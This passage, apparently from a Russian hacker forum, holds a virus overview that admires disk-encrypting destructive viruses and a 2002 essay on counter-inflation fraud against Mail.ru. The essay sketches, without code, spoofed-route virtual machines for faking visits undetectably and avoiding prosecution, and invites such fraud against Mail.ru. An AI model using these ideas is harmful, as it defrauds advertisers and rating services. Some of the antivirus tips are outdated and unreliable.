отнести к пеpвой гpуппе, но действие этих виpусов очень интеpесно. Они обычно очень
пpавдиво и популяpно pассказывают пользователю о том, что сейчас, к пpимеpу, его
жесткий диск будет отфоpматиpован. И потихоньку pисуют быстpо меняющийся индикатоp
пpоцентов очищенного пpостpанства. Hовичок-пользователь увидев это (скоpее всего),
потеpяет сознание или, что еще хуже, получит pазpыв сеpдца. Чаще всего, конечно, это
шутки, хотя не всегда. Следом идет не менее обшиpная гpуппа так называемых pазpушающих
виpусов. Их задачей, естественно, является pазpушение. Самое пpимитивное, что они
могут сделать, это отфоpматиpовать жестский диск, дискету или стереть BIOS. Hо пpи
этом виpус убьет и себя. Интеpеснее было бы сделать так, чтобы виpус показал свое
пpисутствие, но в то же вpемя пользователь не мог так пpосто от него избавиться.
Извpащенные умы нашли и здесь очень тонкий метод. Пpедставте себе каpтину: виpус
закодиpовал вам жестский диск. И только в том случае, если виpус запущен и находится в
памяти, DOS в состоянии пpочесть ту закодиpованную инфоpмацию. Таким обpазом,
пользователь пpосто обязан запускать виpус. Тем самым виpусописатель достиг высшей
стадии, когда уже виpус не должен искать лазейки для своего запуска, а сам
пользователь уже его запускает. Вот это метод! Или, скажем, считать FAT и скопиpовать
его в абсолютно дpугое место на диске, а на его месте написать всякую белибеpду. Опять
же без запуска виpуса у пользователя система не будет коppектно pаботать.

Каждый день появляются новые вирусы, и это неизбежное зло. Стопроцентной гарантии от
заражения не даст никто. Хотя есть один способ. Забить во флоп чопик, сидюк
использовать только как подставку под кофе, сетевую карточку выбросить, а модем отдать
врагу, пусть мучается. Но это все уже для параноиков. Не так страшен черт, как его
малюют, особенно если про него знаешь.

И напоследок небольшая памятка:
* виpус не может пеpедаться по воздуху или чеpез дpугую сpеду, его можно только
пpинести на дискете, скачать из Сети или загpузить с жесткого диска, запустив
заpаженный файл;
* если компьютеp стоит выключенный, то виpусы не могут ничего там испоpтить;
* если вы пpосто вставили дискету и не запустили с нее ни одного файла, а также не
стаpтовали с нее систему, то виpус с дискеты не попадет в компьютеp, т.е. вы
можете смело пpосматpивать содеpжимое дискет, не боясь заpажений;
* по сети нельзя пpосто так заpазиться виpусом. Можно только получить заpазный файл,
котоpый заpазит ваш компьютеp только после своего запуска;
* если наступила пятница 13, а вы вчеpа пpовеpяли компьтеp на наличие виpусов, то
смело запускайте компьютеp, это не такой уж знаменательный день. Виpус может
активизиpоватся и, напpимеp, 23 июля;
* не веpьте сплетням о том, что виpусы pазpушили у кого-то "железо" на компе. Все
это бpед, максимум, что возможно, так это отфоpматиpовать носитель, ну или стиреть
BIOS;
* и вообще, если вы будете пpовеpять антивиpусными сpедствами все пpиходящие файлы
(на дисках и/или по сети), и pаз в неделю пpовеpять весь компьютеp, то смело
можете не боятся виpусов;
* если уж виpус на вашем компе, то не отчаивайтесь, а запустите антивиpус;
* если антивиpус обнаpужил и излечил файлы на вашем компе от виpусов, а они вскоpе
опять появились, то подумайте, что вы успели поназапускать за пpошедшее от момента
тестиpования вpемя. Если вы pаспаковывали аpхив и запускали файлы из него, значит
навеpняка там виpус и сидит. Hе в файле-аpхиве, а в зааpхивиpованном в нем файле.
Hеобходимо pаспаковать аpхив, пpовеpить и снова запаковать;
* постоянно обновляйте антивирусные базы;
* если вы получили вирус по почте, не стоит писать в ответ гневное письмо - скорее
всего, отправитель сам стал жертвой, а вирус отослал себя сам, с его машины, найдя
ваш почтовый адрес в базе компьютера.

Видит Бог, я этого не хотел...

xakerd — Thu, 19 Feb 2009 05:46:30 GMT

Накрутка счетчика - мошенничество, целью которого является
завладение денежными средствами рекламодателя посредством создания
иллюзии популярности интернет-ресурса и основанное на доверии
рекламодателя к рейтинговым системам.
Почему я это публикую
26 апреля 2002 года я обнаружил, что на Mail.ru вместо нормальной
статистики ресурса, над которым я работаю, появилось сообщение
"Ресурс не участвует в рейтинге. Причина: накрутка счетчика"
(выделено мной). Естественно, я сразу же посылаю письмо по
указанному адресу с просьбой дать объяснения, жду час, другой, сутки
- нет ответа. Посылаю письмо с запросом квитка, снова терпеливо жду
несколько часов и ни квитка, ни ответа. Тогда нахожу адреса других
служб Mail.ru и повторяю письмо с просьбой передать его
"рейтингистам". В письме я просил объясниться и представить мне
доказательства мошенничества, поскольку обвинение лица в
мошенничестве без достаточных на то оснований в средстве массовой
информации, может быть расценено лицом, как распространение
средством массовой информации ложных сведений (измышлений) о лице с
целью нанесения лицу публичного оскорбления.
Наконец-то был получен первый ответ. Но, что ни контакт с Mail.ru,
то либо оскорбление, либо на грани этого. Задержка ответа более чем
на сутки вкупе с отсутствием квитка может означать, что письмо, не
прочитав, просто выбросили в корзину. Да и сам ответ оставляет
желать лучшего, поскольку мне ставили в вину то, что в момент
регистрации ресурса на Mail.ru (в то время еще List.ru) персонал
Mail.ru мне не предложил код java-счетчика. В ответе я довел до
сведения модератора свою трактовку кривой посещаемости и попросил
выслать мне код необходимого java-счетчика.
Второй ответ был не менее неубедительный - "я так считаю" и
"поставьте java-счетчик". Только после нескольких просьб мне выслали
код счетчика, но так и не восстановили статус ресурса. Модераторы
Mail.ru проявляли странное упорство. Тогда я звоню по указанному в
одном из писем телефону и мне наглым тоном заявляют: "А что Вы
хотите? Счетчик бесплатный, имеем полное право".
И тогда я понял, что это не глупость и не ошибка, а вымогательство
денег из персонала ресурса с высоким рейтингом (мол, рейтинг
высокий, а счетчик бесплатный, но если заплатите, то проблем не
будет). Слово, объясняющее корыстный мотив совершенного действия,
было сказано. А слово - не воробей, вылетело - не поймаешь. И
некоторые уважаемые мной люди успели увидеть публичное обвинение
меня в мошенничестве и высказали мне свое недоумение по этому
поводу. И я был вынужден давать им объяснения и показывать переписку
с Mail.ru.
И тогда я решил наказать Mail.ru. "Ломать" их - не ново, да и
мальчишество это с уголовщиной. Обращаться в Суд - долгая песня, да
и страницу они уже удалили. И не только ее, но и регистрационую
запись ресурса, усугубив нанесенное мне оскорбление небрежением к
моей воле. Я не кровожаден, мне пока достаточно апелляции к
общественному мнению, чтобы попытаться в корне пресечь "бесплатное"
оскорбление людей бескорыстно любящими деньги "рейтингистами" из
Mail.ru, и сделать это так, чтобы впредь и другим неповадно было.
Видит Бог, до этого момента я даже не задумывался о публикации моих
изысков о "накрутке" счетчиков.
Как это было на самом деле
В апреле 2001 года я пришел в Проект. Мне поставили задачу вывести
Проект на верхние строки рейтингов (желательно первое место и с
большим отрывом), т.е. необходимо было добиться посещаемости порядка
10-15 тысяч человек в сутки (50-100 тысяч показов страниц). Я считаю
идею Проекта очень перспективной, жизнеспособной и полностью
соответствующей поставленной задаче. Хорошей идее нужна лишь
правильная реализация, как алмазу нужна огранка, чтобы он засверкал
всеми цветами радуги. Дальнейшее поведение переработанного мной
Проекта подтвердило мои предположения.
В июне было принято решение о переводе проекта в стадию
реорганизации с продолжением финансирования минимально необходимых
для реорганизации работ и персонала. И я приступил к "огранке". Для
начала я изучил требования всех основных "поисковиков" и
реорганизовал в соответствии с их требованиями представление
информации, добившись почти максимальной релевантности для ключевых
слов на страницах. Однако остались "хвосты" от первых разработчиков.
Например, в Expires было указано, что страницы не будут меняться две
тысячи лет.
Несмотря на то, что Internet в целом - инерционная система, резкие
скачки посещаемости отдельных ресурсов вполне допустимы и
свидетельствуют о качественных изменениях (переходных процессах) в
поведении. С 10 октября 2001 года и по 5 марта 2002 года Проект
непрерывно набирал посещаемость до более чем 500 человек в сутки и
только благодаря одному Yandex.ru. Более значительному росту
посещаемости мешал низкий индекс цитирования. Остальные же
"поисковики" просто взирали на "памятник", воздвигнутый из Expires
первыми разработчиками.
И вот ночью 5 марта, через год (слава Богу не через 2000 лет) после
регистрации ресурса на Rambler.ru, их робот наконец-то "проснулся",
перечитал ресурс и сразу же дал резкий скачок посещаемости. Эффект
был сравнимый с эффектом от регистрации ранее "раскрученного"
ресурса (что мной неоднократно фиксировалось). Как Rambler.ru и
обещали, что они "покрывают" порядка 65% RuNet-а, так и оказалось на
самом деле. Я никогда не верю саморекламе вроде "Пресса о нас" или
"А вот мы какие хорошие", но тут я должен отдать должное -
Rambler.ru можно верить.
Поскольку ресурс работал в отладочном режиме, то в конфигурации
Apache стояло MaxRequеstsPerChild=1. Из-за этого ограничения в
кривой посещаемости появился горизонтальный "стол". До 5-го мая я
занимался исследованием соответствия пропускной способности канала и
производительности сервера с одновременной правкой кода Проекта.
Когда же я убедился, что все нормально, то сделал
MaxRequеstsPerChild=0. Так появился второй скачок. В скором времени
я планирую выложить на сайте окончательную версию проекта, и это
будет третий скачок.
Все изложенное мной можно подтвердить, анализируя log-файлы ресурса,
которые я готов предоставить. Культурный человек, знакомый с теорией
и имеющий опыт обработки результатов экспериментов, если бы не смог
сам объяснить поведение кривой посещаемости, попросил бы объяснений
у автора, и только потом, взвесив все "pro" и "contra" и имея на
руках неопровержимые доказательства, обвинял бы в мошенничестве. Так
не было сделано и теперь я делаю вывод, что модераторы рейтингов
Mail.ru не обладает достаточной этической, правовой, научной и
технической культурой, следовательно - невежи и невежды. Становится
объяснимой попытка вымогательства, ибо, чем выше культурный уровень
человека, тем сложнее ему покуситься на преступление, и наоборот,
чем ниже - тем проще. По этой причине в приличном обществе невежам и
невеждам обычно указывают на дверь.
DURA LEX, SED LEX
Я категорически запрещаю использовать изложенные в статье
недостатки законодательства, факты, идеи и методы, как для
совершения преступных деяний против кого-либо, так и в
конкурентной борьбе.

Запрет не распространяется на действия, направленные против
Mail.ru, до тех пор, пока Mail.ru не принесут публично извинение
за нанесенное оскорбление и не будет восстановлен status quo
счетчика.
Предвосхищая возможные обвинения, я заявляю, что не пользовался и не
пользуюсь "накруткой" счетчиков, не нарушаю Закон и стараюсь всегда
следовать нормам этики. И этого же ожидаю от других. И всегда
считаю, что каждый человек достоин уважения до тех пор, пока
неопровержимо не доказано обратное. И как культурному человеку мне
трудно преодолеть моральные барьеры и преднамеренно ущемить кого-то
в правах или совершить преступление. Мне проще найти решение сложной
задачи, ибо уровень моего интеллекта позволяет это делать. Это не
самореклама. Хорошо знающие меня люди подтвердят мои слова.
Чтобы не сталкиваться с неожиданностями, я предварительно рассмотрел
практически все аспекты проблемы и наметил пути реализации
поставленной задачи. Не скрою, "накрутку" я рассматривал как
временно допустимое средство, которое могло помочь ресурсу быстрее
подняться в рейтинге до уровня "самораскрутки" (верхние строки
рейтинга), когда "накрутка" уже будет не нужна. Но, чтобы
пользоваться "накруткой", необходимо было выяснить юридические
последствия от ее применения, а также кто может "поймать за руку" и
как надо "накручивать" ресурс и не быть пойманным.
Размышляя над смыслом "накрутки", я пришел к формулировке, которую
поместил в начало статьи. Поскольку в Уголовном Кодексе отсутствует
специальная статья, посвященная "накрутке", то ее следует
рассматривать как обычное мошенничество. Поэтому, если во время
"накрутки" счетчика ресурса рекламодателю не наносится материальный
ущерб, то отсутствует законченный состав преступления в виде
мошенничества. Если ущерб отсутствует, то можно смело утверждать,
что проводится научный эксперимент, результаты которого возможно
лягут в основу статьи (диссертации). Цель эксперимента может быть
любой, от выяснения порога "самораскрутки", до влияния Internet-а на
урожайность кукурузы. Лишь бы заявляемая цель выглядела
правдоподобно.
Об этике говорить не приходится, и так все ясно. Радует уже то, что
хотя бы удается избежать уголовного преследования. Российский
законодатель заранее побеспокоился еще и о том, чтобы log-файлы, не
говоря о результатах их обработки, нельзя было рассматривать в
качестве доказательств вины (но не невиновности из-за действия
принципа презумпции невиновности), благодаря логически неверным и
действующим в настоящее время юридическим определениям понятия
"документ".
В 1993 году меня попросили написать рецензию на проект закона "Об
информации, информатизации и защите информации". Для кардинального
улучшения смысла Закона я предложил сделать всего две вещи, а
именно: в начале текста закона дать логически точные и юридически
правильные определения понятий "документ", "документированная
информация", "стоимость информации", "несанкционированный доступ" и
др., и изъять из текста государственную поддержку информатизации
из-за возможных злоупотреблений. В 1993 году я мог только
предполагать, а теперь мы все знаем, сколько было пролито крови и
какие финансовые потери понесла Россия из-за необоснованных
таможенных льгот благотворительным организациям и фондам. Сравнение
текстов проекта, рецензии и самого закона дает мне основание
полагать, что мои предложения были учтены при подготовке
окончательного варианта. Но во что превратились определения!!!
Думаю, что комментарии будут излишни, если сравнить текст закона и
данное мной в рецензии возможное определение: документ - носитель
информации (объект материального мира), путем изменения физических,
химических, механических или иных материальных свойств которого,
закодирована информация методом кодирования, позволяющим дать
однозначный ответ на вопрос: изменялась или нет информация на этом
носителе в течении заранее обусловленного времени. Много позже, в
1999 году в статье "Возможен неблагоприятный диагноз" я дал
обоснование и привел не претендующее на абсолютную точность, но
интуитивно правильное объективное определение понятия "информация",
отличное от ныне действующего субъективного (информация - это
сведения...).
Итак, если Вы по собственной воле разместили ссылку на свой ресурс в
публичном списке участников рейтинга, и если эту ссылку помимо Вашей
воли и не по решению Суда персонал рейтинговой системы удалил из
этого списка, стоит сразу же требовать принесения Вам публичных
извинений и восстановления ссылки в списке вплоть до подачи иска в
Суд. Никакие внутренние правила (регламенты) рейтинговых систем не
могут оправдать публично уничижающее Вас самоуправство (нарушение
воли) и, тем более, публичное распространение порочащих Вас
измышлений (обвинение в мошенничестве без решения Суда). И не стоит
соглашаться с ничтожностью нанесенного Вам морального вреда,
поскольку сам по себе сделанный в лицо плевок ничтожен (достаточно
просто вытереться), но моральный вред от содеянного публично
несоизмеримо огромен (вплоть до инфаркта или суицида). И обиходный
смысл понятия "накрутки" тождественен обиходному понятию
мошенничества.
Однако вернемся к "накрутке". Остался нерешенным вопрос о том, какая
из рейтинговых систем реально может "поймать за руку". В мае 2001
года я написал perl-скрипт, который имитируя работу броузера MS
Internet Explorer читал указанные страницы и все ссылки первого
уровня через публичные proxy, список которых регулярно публикуется
Yahoo.com. Сразу оговорюсь, что этот скрипт уже уничтожен и это была
разовая акция, которая легко отслеживается, и целью которой была не
"накрутка", а выяснение качества работы различных рейтинговых
систем. В результате было выяснено, что Rambler.ru и SpyLog.ru
"молча" отбрасывают дискредитированные адреса "на лету", в то время
как Mail.ru воспринимает дискредитированные адреса как "честные".
Посещаемость ресурса по статистике Mail.ru выросла в тот день в два
раза. Мне очень понравился профессионально грамотный подхода
Rambler.ru и SpyLog.ru к дискредитированным адресам и тогда же я
впервые столкнулся с непрофессионализмом персонала Mail.ru.
Теперь стоит сказать несколько слов о java-счетчике. Сам по себе код
java-счетчика дает прибавку к трафику размером 1-2 Кбайт для каждой
страницы. При показе сайтом порядка 10 тысяч страниц в сутки общая
прибавка составляет 10-20 Мбайт. В месяц это составит 300-600 Мбайт.
За это приходится платить порядка 15-30 долларов США. И за это же
приходится платить пользователям. А эта прибавка составляет порядка
10 процентов от всего трафика пользователя. Итак, применение
Java-счетчиков приводит к увеличению финансовых затрат всех
участников Internet-а минимум на 10 процентов. А раз мы платим
деньги, то нам надо знать, за что же мы их на самом деле платим.
Java-счетчик передает такую информацию о компьютере пользователя
третьему лицу (модератору рейтинга), которую невозможно получить в
рамках стандарта HTTP. По этой информации модератор рейтинга может
узнать, откуда был осуществлен переход на страницу, какой сервиспак
установлен на компьютере, пароли и многое другое. Так нарушается
конфиденциальность сведений о лице и это может быть расценено, либо
как перлюстрация корреспонденции без решения Суда, либо как
получение несанкционированного доступа к компьютеру пользователя.
Т.е., самоуправство, граничащее с уголовно наказемыми деяниями,
нарушающими права людей. Получается, что все мы платим деньги за то,
что нарушаются наши права.
И в качестве одного из обоснований правомерности применения
java-счетчика приводится запрет в регламенте на посещение
участвующего в рейтинге ресурса со страниц порно-сайтов. Если Вы,
находясь в туалете или в публичном доме, нашли информацию о давно
разыскиваемом Вами товаре и месте его продажи, пришли в этот магазин
и купили товар, то это Ваше личное дело и никто не в праве осуждать
Вас за это. И это личное дело продавца, где ему размещать информацию
о своем товаре, ибо это он сам выбирает наиболее эффективное с его
точки зрения место размещения рекламы своего товара. И запрет на
размещение рекламы (информации) следует рассматривать, как цензуру,
которая запрещена Конституцией. А если некий "цензор на общественных
началах" встанет перед магазином, размещающим свою рекламу в
туалетах и публичных домах и начнет кричать, что все покупатели
этого магазина засранцы и прелюбодеи, то его можно и в милицию
определить суток на 15 за мелкое хулиганство. Или морду набить. Это
кому из них как повезет.
И сразу все становится понятно, надо только выстроить правильную
аналогию в привычной нам сфере. Вот, в качестве примера, фраза из
одного закона: "перед использованием средство защиты информации
должно быть сертифицировано ФАПСИ". Давайте заменим слова и обороты
их синонимами: "средство защиты информации" на "сейф" (от
английского safe - сохранять, защищать), "сертифицировано" на
"исследовано" (сертификация - исследование образца на соответствие
предъявляемым требованиям) и "ФАПСИ" на "постороннее лицо" (вряд ли
ФАПСИ является подразделением Вашего предприятия). Получается "перед
использованием сейф должен быть исследован посторонним лицом". Не
знаю как Вы, а лично я такому "сейфу" не доверю даже использованные
презервативы.
И последний вопрос, как технически организовать "накрутку" так,
чтобы высоко профессиональные команды не смогли бы отличить работу
виртуальных машин от реальных. Поиск в Internet-е компьютеров с ОС
Windows, затем их "взлом" и внедрение в систему кода для "накрутки"
счетчиков отметаю сразу, как явную уголовщину, которая подпадает под
действие сразу всех "компьютерных" статей УК. А милиции стоит
задуматься о поимке мошенников, которые пользуются такой
"накруткой", ибо этот вид мошенничества, по определению, входит в
компетенцию подразделений по борьбе с преступлениями в сфере высоких
технологий.
Остается единственный вариант, учитывая особенности протокола
TCP/IP, создать на некотором компьютере (лучше - на нескольких)
систему виртуальных машин, максимально точно имитирующую в
необходимом для "накрутки" объеме работу реальных машин с ОС Windows
и различными броузерами из реального адресного пространства
Internet. Это сродни использованию публичных proxy, (их немного в
Internet-е и они прекрасно отслеживаются). Но, в отличии от proxy,
виртуальные машины, учитывающие особенности протокола TCP/IP, крайне
сложно выявлять и их можно сгенерировать на одном компьютере
несколько миллионов. И никакие java-счетчики или IPv6 не помогут их
отсеять. А если еще учесть особенности ныне действующего Российского
законодательства, то работу с такими машинами можно организовать
так, что предъявить обвинение в мошенничестве будет практически
невозможно. Другие варианты "накрутки" либо не дают должного
эффекта, либо легко выявляются и нейтрализуются.
Дорога в Ад
В правительстве США есть департамент DoD, который курирует научные
разработки в военной области. В недрах DoD родился проект военных
сетей передачи данных ARPA. Для применения в военной сфере
разработка получилась на редкость удачной. Потом, ничтоже сумняшеся,
эту разработку чуть-чуть подправили и применили в гражданской сфере
под именем TCP/IP. Сделано это было из благих намерений: зачем
тратить лишние деньги на разработку чего-то нового, когда вот оно
готовое решение - бери и применяй. И применили. Правда, сплошной мед
иногда отдавал привкусом дегтя, вроде червя Морриса-младшего,
Мелиссы, атаки Митника или DNS-шторма. Но это все были первые
звоночки, ибо авторы принятого решения не учли (или не знали), что
дорога в Ад вымощена благими намерениями.
Задачи, решаемые сетями передачи данных в условиях войны,
кардинально отличаются от задач мирного времени. На войне, если
подразделение (компьютер) будет срочно и скрытно передислоцировано в
другое место, то после марша подразделение должно быть
незамедлительно развернуто в боевой порядок и наладить
взаимодействие с остальными силами. Для этого бывает достаточно
связаться (модем и телефонная линия) с ближайшим подразделением
фельдсвязи (провайдер) и указать старый или получить новый номер
полевой почты (IP-адрес) войсковой части. Изменение пути доставки
приказов к этому подразделению (информации) должно происходить
просто и незаметно для всей остальной системы (Internet) военной
связи. И всегда должны существовать резервные пути доставки приказов
(каналы связи и модемные пулы других провайдеров). И не важно, по
какому пути доставлен приказ, важно доставить его максимально быстро
и важно, что приказу можно доверять, поскольку маршрут проходил по
своей территории (сеть провайдера, Ru.Net, Internet) и почтальоны
всегда были свои. Поэтому, как процедуры доставки (роутинг), так и
сами приказы (IP-пакеты) имеют простою форму, достаточную для
быстрой проверки достоверности по простым формальным признакам. А
если будет уничтожен батальон (отключен компьютер), то ни полк (сеть
провайдера), ни дивизия (Ru.Net), ни армия (Internet) из-за это не
должны быть дезорганизованы. Ибо, в армии потеря части не должна
приводить к потери целого. Иногда частью даже жертвуют во имя
спасения целого. Ебинообразие - основная черта любой армии. И все ее
части структурно просты, ибо для воссоздания структурно простой
конструкции (масштабирование) нужны небольшие затраты. И увеличение
численности армии происходит заполнением мобилизованными
резервистами предварительно развернутых кадрированных частей,
полностью укомплектованные вооружением и техникой.
В мирной жизни все иначе. Нас много и все мы разные. И каждый из нас
индивидуален. Цель мирной жизни - развитие общества, а это
невозможно, если все члены общества будут одинаково простые. Надо
чтобы все мы были по разному сложные. И это различие является
основной ценностью общества. И все индивидуальности объединяет в
единое целое статичная инфраструктура. А это и
водо-газо-электро-снабжение, и канализация, и милиция, и почта, и
школа, и детский сад, и дороги, и магазины, и дома и многое-многое
другое. И существенные изменения инфраструктуры сродни революциям и
очень болезненно воспринимается всеми, ибо рушатся устойчивые связи.
И потеря одного члена общества сказывается на всех. И это
невосполнимая потеря, ибо может привести к изменению пути развития
всего общества. И на формирование каждого своего члена общество
затрачивает большие ресурсы, ибо заранее невозможно сказать, кто
привнесет больший вклад в развитие общества, а кто меньший. И
невозможно сразу определить, кто является вором, а кто честным
человеком, поэтому априори предполагается, что все люди - честные,
но кошелек лучше держать всегда подальше. И в мирной жизни иногда
случается, что почта приходит не тому адресату и это допустимо, ибо
в мирной жизни мы не привыкли слишком доверять необычному.
Армия лишь небольшая часть общества, существующая только для защиты
общества и предназначена для ведения боевых действий. И не может
заменить собой само общество. Иначе - война. И чем дольше армия не
участвует в боевых действиях, тем сложнее структурно она становится,
тем больше в ней накапливается различных проявлений мирной жизни. И
этот процесс усложнения называется разложением армии. И армия
борется с разложением. Единственный эффективный путь борьбы - война.
Недаром США после 1945 года постоянно участвовали в региональных
конфликтах (Корея, Куба, Вьетнам, Камбоджа, Ирак, Косово,
Афганистан). Война все списывает и можно кого-то убить или послать
на смерть и ничего за это не будет, особенно если есть широкие
лампасы. И в армии начинают превалировать структурно простые, вроде
хамоватых и невежественных "генерал-модераторов" от Mail.ru.
Простота армии эффективна только тогда, когда есть четкая линия
фронта, с одной стороны которой - соратники, а с другой -
противники. И армия всегда проигрывает в борьбе с партизанами, когда
нет четкой границы между соратниками и противниками. Будь то во
время Великой Отечественной Войны, во Вьетнаме, в Афганистане, в
Косово или в Чечне. И только создание сложной инфраструктуры мирной
жизни делает возможным прекращение партизанской войны. Но это уже не
война и не в этом состоит задача армии. И простота армии в сложной
ситуации играет с ней злую шутку. В начале Чеченской кампании
Российская армия пользовалась для связи между подразделениями
широковещательными каналами радиосвязи. Во время артобстрелов
чеченские боевики, маскируясь в каналах радиосвязи под подразделения
Российской армии, корректировали огонь так, что обстрелу
подвергались подразделения Российской армии. И армия сама себя
уничтожала.
Неисповедимы пути пакетов
Я не буду рассматривать все возможные методы обмана в сети Internet.
Я и так уже сказал и еще скажу достаточно, чтобы умный человек смог
сам дальше развить мои мысли, а "безбашенным" все знать небезопасно
прежде всего для самих себя. Я опишу лишь один единственный
Чеченский вариант маскировки. Ибо, именно этот вариант наиболее
пригоден для использования в "накрутке", которую практически
невозможно выявлять. И я не приведу ни одной строки кода, дабы меня
не могли обвинить в написании вредоносных программ, и намеренно
допущу некоторые умолчания и неточности, дабы меня не могли обвинить
в подстрекательстве к мошенничеству.
Рассмотрим процедуру роутинга, реализованную в протоколе TCP/IP.
Предположим, что имеется некий компьютер (клиент), который пытается
установить связь с другим компьютером (сервер). Клиент передает
IP-пакет (датаграмму) ближайшему роутеру (хопу), который объявлен в
таблицах роутинга клиента, как default. Дальше датаграмма передается
от хопа к хопу до достижения конечной точки маршрута или исчерпания
счетчика хопов пакета. Если по таблице роутинга хопа невозможно
определить, какой ближайший хоп знает куда направить пакет дальше,
то он направляется default router-у этого хопа. Заметим одну
особенность такой процедуры роутинга: она справедлива для любых
адресов источников и приемников датаграмм и любой хоп по умолчанию
знает свойства только ближайших хопов. Internet - глобальная сеть и
в ней постоянно что-то происходит. То компьютеры включаются, то
выключаются, то отваливаются каналы, то появляются новые. В общем,
сеть "живет" и поведение какой-то части сети не должно мешать
доставке пакетов других ее частей. И если какой-то хоп вышел из
строя, то его тут же готовы заменить несколько ближайших хопов,
создав обходной маршрут движения датаграмм. Так достигается
высочайшая надежность доставки пакетов, и, следовательно, всей сети
как средства доставки информации от одного компьютера к другому. И
именно это свойство используется для Чеченской маскировки при
"накрутке" счетчиков.
Мне могут возразить, что есть протокол TCP из стека протоколов IP и
он устанавливает статичный маршрут доставки датаграмм, как от
клиента к серверу, так и в обратном направлении. Да, это так, но с
несколькими оговорками. Во первых, процедура поиска маршрута
используется та же, что и для доставки простых датаграмм. Во вторых,
адрес следующего хопа для доставки пакетов в рамках соединения
хранится динамически, и только до тех пор, пока соединение не будет
закрыто. В третьих, такой маршрут не попадает в таблицы
маршрутизации и становится невидимым для других соединений. Иногда
встречается неполная реализация процедуры маршрутизации соединений,
когда маршруты временно размещаются в таблицах роутинга, тогда это
свойство можно использовать для прослушивания трафика от
интересующего компьютера.
Статически прописывать маршруты для каждого хопа - задача физически
нереализуемая, особенно для больших сетей. Для снижения затрат при
прописывании маршрутов был придуман RIP. Но, при использовании RIP
или его расширений (BGP, EGRP и др.) возрастает опасность
блокирования работы сети на неопределенное время, когда объем
служебного трафика начнет существенно превышать объем полезного. Вы
можете провести поучительный эксперимент, если у Вас под руками
имеется разнородная сеть с "излишне умными" маршрутизаторами
(порядка сотни компьютеров, порядка десяти роутеров CISCO, часть
которых соединена треугольником каналами связи с различной
пропускной способностью). Однажды, настраивая компьютер с HPUX в
одной организации с такой сетью, я не отключил на этой машине
DHCP-сервер и в конце RC-файла вставил команду reboot. Не помню уже,
но для чего-то мне это было нужно. И сеть встала. Скорость передачи
ftp-данных в 100 мегабитном сегменте сети стала что-то порядка
1.5-1.9 Кбайт/сек, хотя нормальная была 9-11 Мбайт/сек. Замерил
объем служебного трафика - 99 процентов. При выключении HPUX или
замене CISCO на простые HUB-ы работа сети восстанавливалась.
Пусть в сети имеются три компьютера: A (атакующий), B (имитируемый),
C (счетчик) и пусть в сети имеются два промежуточных хопа X1, X2.
Задача: имитация соединения между компьютерами по маршруту
B<=>X1<=>X2<=>C. Решение: поскольку маршруты движения пакетов в
сетях TCP/IP заранее никак не регламентирован, создать для
компьютера C иллюзию движения пакетов по маршруту
B<=>X1<=>A<=>X2<=>C. Сначала надо убедиться, что компьютер B
находится в сети. Затем, виртуальная машина на компьютере A посылает
пакет установления соединения на компьютер C такого вида, словно он
прошел по маршруту B<=>X1<=>A. Все остальные пакеты до закрытия
соединения будут двигаться по установленному маршруту A<=>X2<=>C и
должны иметь такие параметры, словно они предварительно прошли по
маршруту B<=>X1<=>A. Попытка проследить маршрут движения пакетов с
компьютера C до компьютера B даст маршрут B<=>X1<=>X2<=>C, поскольку
это будет уже новое соединение. Необходимо добиться, чтобы
виртуальная машина могла в необходимом для маскировки объеме
имитировать ОС и броузер компьютера B. Так для компьютера C
создается полная иллюзия работы с компьютером B и никакими
средствами TCP/IP эту иллюзию нельзя развеять. Вот такой вот
фокус-покус.
"Здравствуйте, девочки..."
Рейтинговым системам, в том виде, в каком они существуют в настоящее
время, грозит полная дискредитация. И не моя в том вина, лишь
пользуясь научным методом, я даю описание положения дел в этой
сфере, и, основываясь на результатах анализа, делаю синтез
возможного варианта развития событий.
Удаление ресурса из рейтинга свидетельствует о низкой квалификации
персонала, поскольку такой персонал либо не знает других методов
борьбы с "накруткой", либо ему проще ущемлять права других, чем
работать своими мозгами. Это не добавляет доверия рейтинговым
системам. И поскольку действия персонала могут быть обжалованы в
Суде, то после двух-трех проигранных процессов (как и в случае с
законом "О защите прав потребителей") персоналы рейтинговых систем
вообще прекратят удалять из списков участников рейтингов любые
ресурсы.
В результате, верхние строки рейтингов заполонят "накрученные"
ресурсы. Хорошо, если как-то удастся изобличать в мошенничестве
владельцев таких ресурсов. А если нет? Второе более вероятно, ибо
любое сомнение всегда трактуется в пользу подозреваемого
(обвиняемого). Следовательно, мошенники чаще всего будут оставаться
безнаказанными, и будут все более активно пользоваться доверием к
рейтинговым системам. Став невольными пособниками мошенников,
рейтинговые системы только усугубят потерю доверия.
Значительное снижение доверия приведет к снижению капитализации
рейтинговых систем, поскольку в основе этого вида бизнеса лежит
доверие к высокой квалификации и честности персонала. Как следствие,
снизится доходность бизнеса. И начнется отток квалифицированного
персонала.
И круг замкнется. Значительное снижение доверия приведет к
финансовым потерям, из-за чего возникнут сложности с наймом
квалифицированного персонала, из-за чего еще больше снизится доверие
бизнесу, из-за чего еще больше снизится доходность бизнеса, из-за
чего еще сложнее станет наем квалифицированного персонала, и т.д.
Это описание возможной схемы цепной реакции "самоуничтожения"
рейтинговых систем. Остается только инициировать процесс...

Кто-то, прочитав последний абзац, скажет "вот и ***дец, пришли", как
тот одноглазый, который повел слепого в бордель через лес и выбил
себе веткой последний глаз, а в ответ слышит радостное
"здравствуйте, девочки..."...

5 мая-14 июля 2002 года
Urix

P.S. У меня есть две новости. Я не вождь троглодитов, поэтому начну
с хорошей. Прежде чем публиковать эту статью, я придумал, как надо
юридически и технически правильно без Java-счетчиков подсчитывать
рейтинги, поскольку, как и все честные люди, я заинтересован в
существовании рейтинговых систем с высоким уровнем доверия. Плохая
новость та, что хотя это и спасает от полной дискредитации
рейтинговые системы, но не является абсолютной панацеей.
18-20 октября 2002 го

Взлом через PHP-скрипт

xakerd — Wed, 18 Feb 2009 17:36:51 GMT

